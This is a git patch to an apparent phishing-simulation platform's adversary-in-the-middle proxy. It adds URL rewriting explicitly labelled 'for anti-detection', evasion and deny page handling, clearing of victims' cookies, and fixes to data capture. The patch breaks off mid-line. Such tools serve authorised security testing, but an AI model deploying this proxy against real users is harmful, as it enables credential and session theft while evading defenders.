From dda9a664375407d78e077763aca4cf3e15a3e58b Mon Sep 17 00:00:00 2001 From: Ronni Skansing Date: Thu, 23 Oct 2025 18:38:04 +0200 Subject: [PATCH] Update proxy yaml completions Added rewrite-url directive Access directive is 404 and private by default Fixed missing data capture Fix missing data capture MITM campaign now use campaign template domain for all pages exception mitm page and evasion page. Fix always start new session on initial page visit Use the random mitm cookie name Use proxy target URL for mitm page --- backend/app/server.go | 1 + backend/proxy/proxy.go | 472 ++++++++++++++++-- backend/service/campaign.go | 7 +- backend/service/proxy.go | 138 ++++- backend/service/templateService.go | 36 +- frontend/src/lib/utils/proxyYamlCompletion.js | 129 ++++- 6 files changed, 720 insertions(+), 63 deletions(-) diff --git a/backend/app/server.go b/backend/app/server.go index 2e7a33e..231ef23 100644 --- a/backend/app/server.go +++ b/backend/app/server.go @@ -80,6 +80,7 @@ func NewServer( services.Campaign, services.Template, services.IPAllowList, + repositories.Option, ) // setup proxy session cleanup routine diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index 933994b..197eba4 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -106,6 +106,7 @@ type ProxyHandler struct { logger *zap.SugaredLogger sessions sync.Map // map[string]*ProxySession campaignRecipientSessions sync.Map // map[string]string (campaignRecipientID -> sessionID) + urlMappings sync.Map // map[string]string (rewritten URL -> original URL) PageRepository *repository.Page CampaignRecipientRepository *repository.CampaignRecipient CampaignRepository *repository.Campaign @@ -116,6 +117,7 @@ type ProxyHandler struct { CampaignService *service.Campaign TemplateService *service.Template IPAllowListService *service.IPAllowListService + OptionRepository *repository.Option cookieName string } @@ -131,7 +133,14 @@ func NewProxyHandler( campaignService *service.Campaign, templateService *service.Template, ipAllowListService *service.IPAllowListService, + optionRepo *repository.Option, ) *ProxyHandler { + // get proxy cookie name from database + cookieName := "ps" // fallback default + if opt, err := optionRepo.GetByKey(context.Background(), data.OptionKeyProxyCookieName); err == nil { + cookieName = opt.Value.String() + } + return &ProxyHandler{ logger: logger, PageRepository: pageRepo, @@ -144,7 +153,8 @@ func NewProxyHandler( CampaignService: campaignService, TemplateService: templateService, IPAllowListService: ipAllowListService, - cookieName: "ps", + OptionRepository: optionRepo, + cookieName: cookieName, } } @@ -158,6 +168,11 @@ func (m *ProxyHandler) HandleHTTPRequest(w http.ResponseWriter, req *http.Reques return err } + // check for URL rewrite and redirect if needed + if rewriteResp := m.checkAndApplyURLRewrite(req, reqCtx); rewriteResp != nil { + return m.writeResponse(w, rewriteResp) + } + // check ip filtering if we have a campaign recipient if reqCtx.CampaignRecipientID != nil { blocked, resp := m.checkIPFilter(req, reqCtx) @@ -276,27 +291,58 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ } reqURL := req.URL.String() + + // check for existing session first + sessionCookie, err := req.Cookie(m.cookieName) + if err == nil && m.isValidSessionCookie(sessionCookie.Value) { + reqCtx.SessionID = sessionCookie.Value + } + + // always create new session for initial MITM page visits with campaign recipient ID createSession := reqCtx.CampaignRecipientID != nil + // check if this has a valid state parameter (post-evasion request) + hasValidStateParameter := false + if createSession { + campaign, _, _, err := m.getCampaignInfo(req.Context(), reqCtx.CampaignRecipientID) + if err == nil { + templateID, err := campaign.TemplateID.Get() + if err == nil { + cTemplate, err := m.CampaignTemplateRepository.GetByID(req.Context(), &templateID, &repository.CampaignTemplateOption{ + WithIdentifier: true, + }) + if err == nil && cTemplate.StateIdentifier != nil { + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + encryptedParam := req.URL.Query().Get(stateParamKey) + if encryptedParam != "" { + campaignID, _ := campaign.ID.Get() + secret := utils.UUIDToSecret(&campaignID) + if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { + hasValidStateParameter = decrypted != "deny" + } + } + } + } + } + } + + // check for deny pages first (for any campaign recipient ID) + if reqCtx.CampaignRecipientID != nil { + if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil { + return req, resp + } + } + // check for evasion/deny pages BEFORE session resolution for initial requests if createSession { // cleanup any existing session first m.cleanupExistingSession(reqCtx.CampaignRecipientID, reqURL) - // check if this is a deny request from evasion page - if resp := m.checkAndServeDenyPage(req, reqCtx); resp != nil { - return req, resp - } - - // check if we should serve an evasion page first - if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil { - return req, resp - } - } else { - // check for existing session - sessionCookie, err := req.Cookie(m.cookieName) - if err == nil && m.isValidSessionCookie(sessionCookie.Value) { - reqCtx.SessionID = sessionCookie.Value + // check for evasion page only if no valid state parameter (initial request) + if !hasValidStateParameter { + if resp := m.checkAndServeEvasionPage(req, reqCtx); resp != nil { + return req, resp + } } } @@ -318,19 +364,24 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ } // handle requests without session - if reqCtx.SessionID == "" && !createSession { + if reqCtx.SessionID == "" && !createSession && reqCtx.CampaignRecipientID == nil { return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil } - // get or create session and populate context - err := m.resolveSessionContext(req, reqCtx, createSession) - if err != nil { - m.logger.Errorw("failed to resolve session context", "error", err) - return req, m.createServiceUnavailableResponse("Service temporarily unavailable") + // get or create session and populate context if we have campaign recipient ID or valid session + if reqCtx.CampaignRecipientID != nil || reqCtx.SessionID != "" { + err = m.resolveSessionContext(req, reqCtx, createSession) + if err != nil { + m.logger.Errorw("failed to resolve session context", "error", err) + return req, m.createServiceUnavailableResponse("Service temporarily unavailable") + } + + // apply session-based request processing + return m.applySessionToRequestWithContext(req, reqCtx), nil } - // apply session-based request processing - return m.applySessionToRequestWithContext(req, reqCtx), nil + // handle requests without campaign recipient ID or session + return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil } func (m *ProxyHandler) cleanupExistingSession(campaignRecipientID *uuid.UUID, reqURL string) { @@ -388,13 +439,48 @@ func (m *ProxyHandler) resolveSessionContext(req *http.Request, reqCtx *RequestC func (m *ProxyHandler) applySessionToRequestWithContext(req *http.Request, reqCtx *RequestContext) *http.Request { // handle initial request with campaign recipient id + if reqCtx.CampaignRecipientID != nil && reqCtx.SessionCreated { + + // always redirect to StartURL for new sessions (both initial and post-evasion) + // get proxy configuration to extract start url + ctx := req.Context() + proxyEntry, err := m.ProxyRepository.GetByID(ctx, reqCtx.Domain.ProxyID, &repository.ProxyOption{}) + if err == nil { + startURL, err := proxyEntry.StartURL.Get() + if err == nil { + // parse start url to get the target path and query + if parsedStartURL, err := url.Parse(startURL.String()); err == nil { + // use the path and query from start url for initial mitm visits + req.URL.Path = parsedStartURL.Path + req.URL.RawQuery = parsedStartURL.RawQuery + } + } + } + } + + // handle any request with campaign recipient id (initial or existing session) if reqCtx.CampaignRecipientID != nil { req.Host = reqCtx.Session.TargetDomain req.URL.Scheme = "https" req.URL.Host = reqCtx.Session.TargetDomain - // remove campaign recipient id from query params + // remove campaign parameters from query params q := req.URL.Query() q.Del(reqCtx.ParamName) + + // also remove state parameter if it exists + if reqCtx.Session.Campaign != nil { + templateID, err := reqCtx.Session.Campaign.TemplateID.Get() + if err == nil { + ctx := req.Context() + cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ + WithIdentifier: true, + }) + if err == nil && cTemplate.StateIdentifier != nil { + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + q.Del(stateParamKey) + } + } + } req.URL.RawQuery = q.Encode() } else { // for subsequent requests, map to original host @@ -538,6 +624,8 @@ func (m *ProxyHandler) captureResponseDataWithContext(resp *http.Response, reqCt func (m *ProxyHandler) processResponseWithSessionContext(resp *http.Response, reqCtx *RequestContext) *http.Response { // set session cookie for new sessions if reqCtx.SessionCreated { + // clear all existing cookies for initial MITM visit to ensure fresh start + m.clearAllCookiesForInitialMitmVisit(resp, reqCtx) m.setSessionCookieWithContext(resp, reqCtx) } @@ -569,12 +657,14 @@ func (m *ProxyHandler) setSessionCookieWithContext(resp *http.Response, reqCtx * Secure: true, SameSite: http.SameSiteLaxMode, } + resp.Header.Add("Set-Cookie", cookie.String()) } func (m *ProxyHandler) copyCookieToResponse(sourceResp, targetResp *http.Response) { - if cookieHeader := sourceResp.Header.Get("Set-Cookie"); cookieHeader != "" { - targetResp.Header.Set("Set-Cookie", cookieHeader) + cookieHeaders := sourceResp.Header.Values("Set-Cookie") + for _, cookieHeader := range cookieHeaders { + targetResp.Header.Add("Set-Cookie", cookieHeader) } } @@ -672,6 +762,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithContext(resp *http.Response, reqCt } body = m.patchUrls(reqCtx.ConfigMap, body, CONVERT_TO_PHISHING_URLS) + body = m.applyURLPathRewrites(body, reqCtx) body = m.applyCustomReplacements(body, reqCtx.Session) m.updateResponseBody(resp, body, wasCompressed) @@ -791,6 +882,7 @@ func (m *ProxyHandler) rewriteResponseBodyWithoutSessionContext(resp *http.Respo } body = m.patchUrls(config, body, CONVERT_TO_PHISHING_URLS) + body = m.applyURLPathRewritesWithoutSession(body, reqCtx) body = m.applyCustomReplacementsWithoutSession(body, config, reqCtx.TargetDomain) m.updateResponseBody(resp, body, wasCompressed) @@ -2076,6 +2168,9 @@ func (m *ProxyHandler) buildCampaignFlowRedirectURL(session *ProxySession, nextP if _, err := cTemplate.AfterLandingPageID.Get(); err == nil { usesTemplateDomain = true } + case "deny": + // deny pages should use template domain if available + usesTemplateDomain = true default: if redirectURL, err := cTemplate.AfterLandingPageRedirectURL.Get(); err == nil { if url := redirectURL.String(); len(url) > 0 { @@ -2215,6 +2310,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } } + + // set defaults for domain access control + if domainConfig != nil && domainConfig.Access != nil { + // set default mode to private if not specified + if domainConfig.Access.Mode == "" { + domainConfig.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" { + domainConfig.Access.OnDeny = "404" + } + } config.Hosts[domain] = domainConfig } @@ -2227,6 +2334,18 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } } + + // set defaults for global access control + if config.Global != nil && config.Global.Access != nil { + // set default mode to private if not specified + if config.Global.Access.Mode == "" { + config.Global.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" { + config.Global.Access.OnDeny = "404" + } + } } func (m *ProxyHandler) GetCookieName() string { @@ -2466,6 +2585,27 @@ func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Re return resp } +func (m *ProxyHandler) clearAllCookiesForInitialMitmVisit(resp *http.Response, reqCtx *RequestContext) { + // clear all existing cookies by setting them to expire immediately + if resp.Request != nil { + for _, cookie := range resp.Request.Cookies() { + // create expired cookie to clear it + expiredCookie := &http.Cookie{ + Name: cookie.Name, + Value: "", + Path: "/", + Domain: reqCtx.PhishDomain, + Expires: time.Unix(0, 0), + MaxAge: -1, + HttpOnly: true, + Secure: true, + SameSite: http.SameSiteNoneMode, + } + resp.Header.Add("Set-Cookie", expiredCookie.String()) + } + } +} + func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error { // check for nil response if resp == nil { @@ -2848,8 +2988,21 @@ func (m *ProxyHandler) checkAndServeEvasionPage(req *http.Request, reqCtx *Reque } } + // preserve the original URL without campaign parameters for post-evasion redirect + originalURL := req.URL.Path + if req.URL.RawQuery != "" { + // parse query params and remove campaign recipient ID + query := req.URL.Query() + if reqCtx.ParamName != "" { + query.Del(reqCtx.ParamName) + } + if len(query) > 0 { + originalURL += "?" + query.Encode() + } + } + // this is initial request with campaign recipient ID and no state parameter, serve evasion page - return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate) + return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate, originalURL) } // checkAndServeDenyPage checks if a deny page should be served and returns the response if so @@ -2868,6 +3021,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC ctx := req.Context() cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ + WithDomain: true, WithIdentifier: true, }) if err != nil { @@ -2875,19 +3029,17 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC } // check if state parameter indicates deny - if cTemplate.StateIdentifier != nil { - stateParamKey := cTemplate.StateIdentifier.Name.MustGet() - encryptedParam := req.URL.Query().Get(stateParamKey) - if encryptedParam != "" { - campaignID, err := campaign.ID.Get() - if err != nil { - return nil - } - secret := utils.UUIDToSecret(&campaignID) - if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { - if decrypted == "deny" { - return m.serveDenyPageResponseDirect(req, reqCtx, campaign) - } + stateParamKey := cTemplate.StateIdentifier.Name.MustGet() + encryptedParam := req.URL.Query().Get(stateParamKey) + if encryptedParam != "" { + campaignID, err := campaign.ID.Get() + if err != nil { + return nil + } + secret := utils.UUIDToSecret(&campaignID) + if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { + if decrypted == "deny" { + return m.serveDenyPageResponseDirect(req, reqCtx, campaign, cTemplate) } } } @@ -2895,7 +3047,7 @@ func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestC return nil } -func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response { +func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate, originalURL string) *http.Response { ctx := req.Context() evasionPage, err := m.PageRepository.GetByID(ctx, evasionPageID, &repository.PageOption{}) if err != nil { @@ -2918,7 +3070,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx nextPageType = data.PAGE_TYPE_LANDING } - htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType) + htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType, originalURL) if err != nil { m.logger.Errorw("failed to render evasion page template", "error", err) return nil @@ -2941,7 +3093,7 @@ func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx return resp } -func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign) *http.Response { +func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response { denyPageID, err := campaign.DenyPageID.Get() if err != nil { // if no deny page configured, return 403 @@ -2955,6 +3107,32 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re return resp } + // check if we're on a mitm domain and should redirect to campaign template domain + if cTemplate != nil && cTemplate.Domain != nil { + currentDomainName := req.Host + templateDomainName, err := cTemplate.Domain.Name.Get() + if err == nil && currentDomainName != templateDomainName.String() { + // we're on mitm domain, redirect to campaign template domain + campaignID := campaign.ID.MustGet() + redirectURL := m.buildCampaignFlowRedirectURL(&ProxySession{ + CampaignRecipientID: reqCtx.CampaignRecipientID, + Campaign: campaign, + CampaignID: &campaignID, + }, "deny") + if redirectURL != "" { + resp := &http.Response{ + StatusCode: 302, + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader("")), + } + resp.Header.Set("Location", redirectURL) + resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") + return resp + } + } + } + + // serve deny page directly (either on campaign template domain or as fallback) ctx := req.Context() denyPage, err := m.PageRepository.GetByID(ctx, &denyPageID, &repository.PageOption{}) if err != nil { @@ -2984,7 +3162,7 @@ func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *Re return resp } -func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string) (string, error) { +func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string, originalURL string) (string, error) { // get recipient ctx := req.Context() cRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{}) @@ -3062,8 +3240,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ RedirectURL: domain.RedirectURL.MustGet().String(), } - // use template service to render the page - urlPath := req.URL.Path + // use template service to render the page with preserved original URL buf, err := m.TemplateService.CreatePhishingPageWithCampaign( dbDomain, email, @@ -3072,7 +3249,7 @@ func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *Requ htmlContent.String(), cTemplate, encryptedNextState, - urlPath, + originalURL, campaign, ) if err != nil { @@ -3185,7 +3362,7 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext) if !allowed { // try to serve deny page if _, err := campaign.DenyPageID.Get(); err == nil { - resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign) + resp := m.serveDenyPageResponseDirect(req, reqCtx, campaign, nil) return true, resp } @@ -3195,3 +3372,202 @@ func (m *ProxyHandler) checkIPFilter(req *http.Request, reqCtx *RequestContext) return false, nil } + +// checkAndApplyURLRewrite checks if the incoming request matches any URL rewrite rules +// and returns a redirect response if a match is found +func (m *ProxyHandler) checkAndApplyURLRewrite(req *http.Request, reqCtx *RequestContext) *http.Response { + // check if this is already a rewritten URL that we need to reverse map + originalURL := m.getReverseURLMapping(req.URL.Path, req.URL.RawQuery) + if originalURL != "" { + // this is a rewritten URL, update the request to use the original URL + m.applyReverseURLMapping(req, originalURL) + return nil + } + + // check for URL rewrite rules in domain config + var rewriteRules []service.ProxyServiceURLRewriteRule + if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { + rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) + } + + // check for URL rewrite rules in global config + if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { + rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) + } + + // check each rewrite rule + for _, rule := range rewriteRules { + if matched, rewrittenURL := m.applyURLRewriteRule(req, rule); matched { + // store the mapping for reverse lookup + originalURL := req.URL.Path + if req.URL.RawQuery != "" { + originalURL += "?" + req.URL.RawQuery + } + m.storeURLMapping(rewrittenURL, originalURL) + + // create redirect response + return &http.Response{ + StatusCode: http.StatusFound, + Header: http.Header{ + "Location": []string{rewrittenURL}, + }, + Body: io.NopCloser(strings.NewReader("")), + } + } + } + + return nil +} + +// applyURLRewriteRule checks if a URL matches a rewrite rule and returns the rewritten URL +func (m *ProxyHandler) applyURLRewriteRule(req *http.Request, rule service.ProxyServiceURLRewriteRule) (bool, string) { + // compile regex pattern + pathRegex, err := regexp.Compile(rule.Find) + if err != nil { + m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err) + return false, "" + } + + // check if path matches + if !pathRegex.MatchString(req.URL.Path) { + return false, "" + } + + // build rewritten URL + rewrittenPath := rule.Replace + rewrittenQuery := m.rewriteQueryParameters(req.URL.Query(), rule.Query, rule.Filter) + + // construct full rewritten URL + rewrittenURL := rewrittenPath + if rewrittenQuery != "" { + rewrittenURL += "?" + rewrittenQuery + } + + return true, rewrittenURL +} + +// rewriteQueryParameters applies query parameter mapping rules +func (m *ProxyHandler) rewriteQueryParameters(originalQuery url.Values, queryRules []service.ProxyServiceURLRewriteQueryParam, filter []string) string { + rewrittenQuery := url.Values{} + + // if filter list is empty, keep all parameters and apply mappings + if len(filter) == 0 { + // start with all original parameters + for key, values := range originalQuery { + rewrittenQuery[key] = values + } + + // apply parameter mappings + for _, rule := range queryRules { + if values, exists := originalQuery[rule.Find]; exists { + // remove the old key and add the new one + delete(rewrittenQuery, rule.Find) + rewrittenQuery[rule.Replace] = values + } + } + } else { + // only keep parameters in the filter list + for _, key := range filter { + if values, exists := originalQuery[key]; exists { + rewrittenQuery[key] = values + } + } + + // apply mappings only to filtered parameters + for _, rule := range queryRules { + if values, exists := originalQuery[rule.Find]; exists && contains(filter, rule.Find) { + // remove the old key and add the new one + delete(rewrittenQuery, rule.Find) + rewrittenQuery[rule.Replace] = values + } + } + } + + return rewrittenQuery.Encode() +} + +// contains checks if a string slice contains a specific string +func contains(slice []string, item string) bool { + for _, s := range slice { + if s == item { + return true + } + } + return false +} + +// storeURLMapping stores the mapping between rewritten and original URLs +func (m *ProxyHandler) storeURLMapping(rewrittenURL, originalURL string) { + m.urlMappings.Store(rewrittenURL, originalURL) +} + +// getReverseURLMapping gets the original URL for a rewritten URL +func (m *ProxyHandler) getReverseURLMapping(path, query string) string { + rewrittenURL := path + if query != "" { + rewrittenURL += "?" + query + } + + if originalURL, exists := m.urlMappings.Load(rewrittenURL); exists { + return originalURL.(string) + } + return "" +} + +// applyReverseURLMapping updates the request to use the original URL +func (m *ProxyHandler) applyReverseURLMapping(req *http.Request, originalURL string) { + // parse the original URL + parsedURL, err := url.Parse(originalURL) + if err != nil { + m.logger.Errorw("failed to parse original URL during reverse mapping", "url", originalURL, "error", err) + return + } + + // update request URL + req.URL.Path = parsedURL.Path + req.URL.RawQuery = parsedURL.RawQuery + req.RequestURI = req.URL.Path + if req.URL.RawQuery != "" { + req.RequestURI += "?" + req.URL.RawQuery + } +} + +// applyURLPathRewrites applies URL path rewriting to response body content +func (m *ProxyHandler) applyURLPathRewrites(body []byte, reqCtx *RequestContext) []byte { + // get URL rewrite rules from domain config + var rewriteRules []service.ProxyServiceURLRewriteRule + if domainConfig, exists := reqCtx.ProxyConfig.Hosts[reqCtx.TargetDomain]; exists && domainConfig.RewriteURLs != nil { + rewriteRules = append(rewriteRules, domainConfig.RewriteURLs...) + } + + // get URL rewrite rules from global config + if reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.RewriteURLs != nil { + rewriteRules = append(rewriteRules, reqCtx.ProxyConfig.Global.RewriteURLs...) + } + + // apply each rewrite rule to the response body + bodyStr := string(body) + for _, rule := range rewriteRules { + bodyStr = m.rewritePathsInContent(bodyStr, rule) + } + + return []byte(bodyStr) +} + +// applyURLPathRewritesWithoutSession applies URL path rewriting for requests without session +func (m *ProxyHandler) applyURLPathRewritesWithoutSession(body []byte, reqCtx *RequestContext) []byte { + return m.applyURLPathRewrites(body, reqCtx) +} + +// rewritePathsInContent rewrites URL paths in HTML/JS content according to rewrite rules +func (m *ProxyHandler) rewritePathsInContent(content string, rule service.ProxyServiceURLRewriteRule) string { + // compile regex pattern for finding URLs in content + pathRegex, err := regexp.Compile(rule.Find) + if err != nil { + m.logger.Errorw("invalid URL rewrite regex pattern", "pattern", rule.Find, "error", err) + return content + } + + // find and replace all occurrences of the original path with the rewritten path + return pathRegex.ReplaceAllString(content, rule.Replace) +} diff --git a/backend/service/campaign.go b/backend/service/campaign.go index c032631..2e23834 100644 --- a/backend/service/campaign.go +++ b/backend/service/campaign.go @@ -2794,7 +2794,12 @@ func (c *Campaign) GetLandingPageURLByCampaignRecipientID( return "", errs.Wrap(err) } baseURL = "https://" + phishingDomain - urlPath = parsedStartURL.Path + // use campaign template URLPath if available, otherwise fall back to proxy StartURL path + if templateURLPath, err := cTemplate.URLPath.Get(); err == nil && templateURLPath.String() != "" { + urlPath = templateURLPath.String() + } else { + urlPath = parsedStartURL.Path + } } } diff --git a/backend/service/proxy.go b/backend/service/proxy.go index 1f43e5d..e846ef4 100644 --- a/backend/service/proxy.go +++ b/backend/service/proxy.go @@ -40,20 +40,22 @@ type ProxyServiceConfig struct { // ProxyServiceDomainConfig represents configuration for a specific domain mapping type ProxyServiceDomainConfig struct { - To string `yaml:"to"` - Access *ProxyServiceAccessControl `yaml:"access,omitempty"` - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` - Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + To string `yaml:"to"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"` } // ProxyServiceRules represents capture and replace rules // ProxyServiceRules represents global rules that apply to all hosts type ProxyServiceRules struct { - Access *ProxyServiceAccessControl `yaml:"access,omitempty"` - Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` - Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` - Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + Access *ProxyServiceAccessControl `yaml:"access,omitempty"` + Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"` + Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"` + Response []ProxyServiceResponseRule `yaml:"response,omitempty"` + RewriteURLs []ProxyServiceURLRewriteRule `yaml:"rewrite_urls,omitempty"` } // ProxyServiceAccessControl represents access control configuration @@ -156,6 +158,20 @@ type ProxyServiceReplaceRule struct { From string `yaml:"from,omitempty"` } +// ProxyServiceURLRewriteRule represents a URL rewrite rule for anti-detection +type ProxyServiceURLRewriteRule struct { + Find string `yaml:"find"` // regex pattern to match path + Replace string `yaml:"replace"` // replacement path + Query []ProxyServiceURLRewriteQueryParam `yaml:"query,omitempty"` + Filter []string `yaml:"filter,omitempty"` // query parameters to keep (if empty, keep all) +} + +// ProxyServiceURLRewriteQueryParam represents query parameter mapping +type ProxyServiceURLRewriteQueryParam struct { + Find string `yaml:"find"` // original parameter name + Replace string `yaml:"replace"` // new parameter name +} + // ProxyServiceResponseRule represents a response rule that allows custom responses for specific paths // // COMPLETE PROCESSING ORDER & PRECEDENCE: @@ -718,6 +734,10 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P if err := m.validateReplaceRules(config.Global.Rewrite); err != nil { return err } + // validate global URL rewrite rules + if err := m.validateURLRewriteRules(config.Global.RewriteURLs); err != nil { + return err + } // validate global response rules if err := m.validateResponseRules(config.Global.Response); err != nil { return err @@ -833,6 +853,66 @@ func (m *Proxy) validateCaptureRules(captureRules []ProxyServiceCaptureRule) err return nil } +// validateURLRewriteRules validates URL rewrite rules configuration +func (m *Proxy) validateURLRewriteRules(urlRewriteRules []ProxyServiceURLRewriteRule) error { + for i, rule := range urlRewriteRules { + // validate find pattern is not empty + if rule.Find == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a find pattern", i)), + "proxyConfig", + ) + } + + // validate regex pattern + if _, err := regexp.Compile(rule.Find); err != nil { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d has invalid regex pattern: %s", i, err.Error())), + "proxyConfig", + ) + } + + // validate replace path is not empty + if rule.Replace == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d must have a replace path", i)), + "proxyConfig", + ) + } + + // validate query parameter mappings + queryParamNames := make(map[string]bool) + for j, queryParam := range rule.Query { + if queryParam.Find == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a find parameter name", i, j)), + "proxyConfig", + ) + } + if queryParam.Replace == "" { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d, query param at index %d must have a replace parameter name", i, j)), + "proxyConfig", + ) + } + + // check for duplicate query parameter mappings + if queryParamNames[queryParam.Find] { + return validate.WrapErrorWithField( + errors.New(fmt.Sprintf("URL rewrite rule at index %d has duplicate query parameter mapping for '%s'", i, queryParam.Find)), + "proxyConfig", + ) + } + queryParamNames[queryParam.Find] = true + } + + // note: it's valid to both filter and map the same parameter + // the filter determines which parameters are allowed through, + // and mappings rename them during the process + } + return nil +} + // validateResponseRules validates response rules configuration func (m *Proxy) validateResponseRules(responseRules []ProxyServiceResponseRule) error { for i, rule := range responseRules { @@ -917,6 +997,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) { } } + // set defaults for domain access control + if domainConfig != nil && domainConfig.Access != nil { + // set default mode to private if not specified + if domainConfig.Access.Mode == "" { + domainConfig.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" { + domainConfig.Access.OnDeny = "404" + } + } + // clean up rewrite rules based on engine type if domainConfig.Rewrite != nil { for i := range domainConfig.Rewrite { @@ -950,6 +1042,18 @@ func (m *Proxy) setProxyConfigDefaults(config *ProxyServiceConfigYAML) { } } } + // set defaults for global access control + if config.Global != nil && config.Global.Access != nil { + // set default mode to private if not specified + if config.Global.Access.Mode == "" { + config.Global.Access.Mode = "private" + } + // set default deny action for private mode if not specified + if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" { + config.Global.Access.OnDeny = "404" + } + } + // clean up global rewrite rules based on engine type if config.Global != nil && config.Global.Rewrite != nil { for i := range config.Global.Rewrite { @@ -1332,11 +1436,21 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err return err } - // validate domain-specific rewrite rules + // validate domain-specific capture rules + if err := m.validateCaptureRules(domainConfig.Capture); err != nil { + return err + } + + // validate rewrite rules if err := m.validateReplaceRules(domainConfig.Rewrite); err != nil { return err } + // validate URL rewrite rules + if err := m.validateURLRewriteRules(domainConfig.RewriteURLs); err != 